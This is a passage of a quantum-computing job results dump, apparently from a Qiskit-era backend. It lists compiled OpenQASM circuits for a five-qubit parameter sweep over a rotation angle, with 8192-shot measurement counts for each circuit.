c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1219', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1296, '0x1': 1397, '0x0': 3315, '0x2': 2184}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1221', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1303, '0x1': 1494, '0x0': 3160, '0x2': 2235}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1223', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1286, '0x1': 1446, '0x0': 3241, '0x2': 2219}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1225', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1325, '0x1': 1469, '0x0': 3260, '0x2': 2138}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1227', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1315, '0x1': 1552, '0x0': 3088, '0x2': 2237}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1229', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1347, '0x1': 1542, '0x0': 3238, '0x2': 2065}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1231', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1361, '0x1': 1547, '0x0': 3205, '0x2': 2079}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1233', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1323, '0x1': 1537, '0x0': 3152, '0x2': 2180}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1235', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1392, '0x1': 1536, '0x0': 3152, '0x2': 2112}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1237', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1370, '0x1': 1598, '0x0': 3115, '0x2': 2109}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1239', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1371, '0x1': 1581, '0x0': 3094, '0x2': 2146}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1241', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1386, '0x1': 1658, '0x0': 3070, '0x2': 2078}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1243', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1375, '0x1': 1650, '0x0': 3002, '0x2': 2165}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) 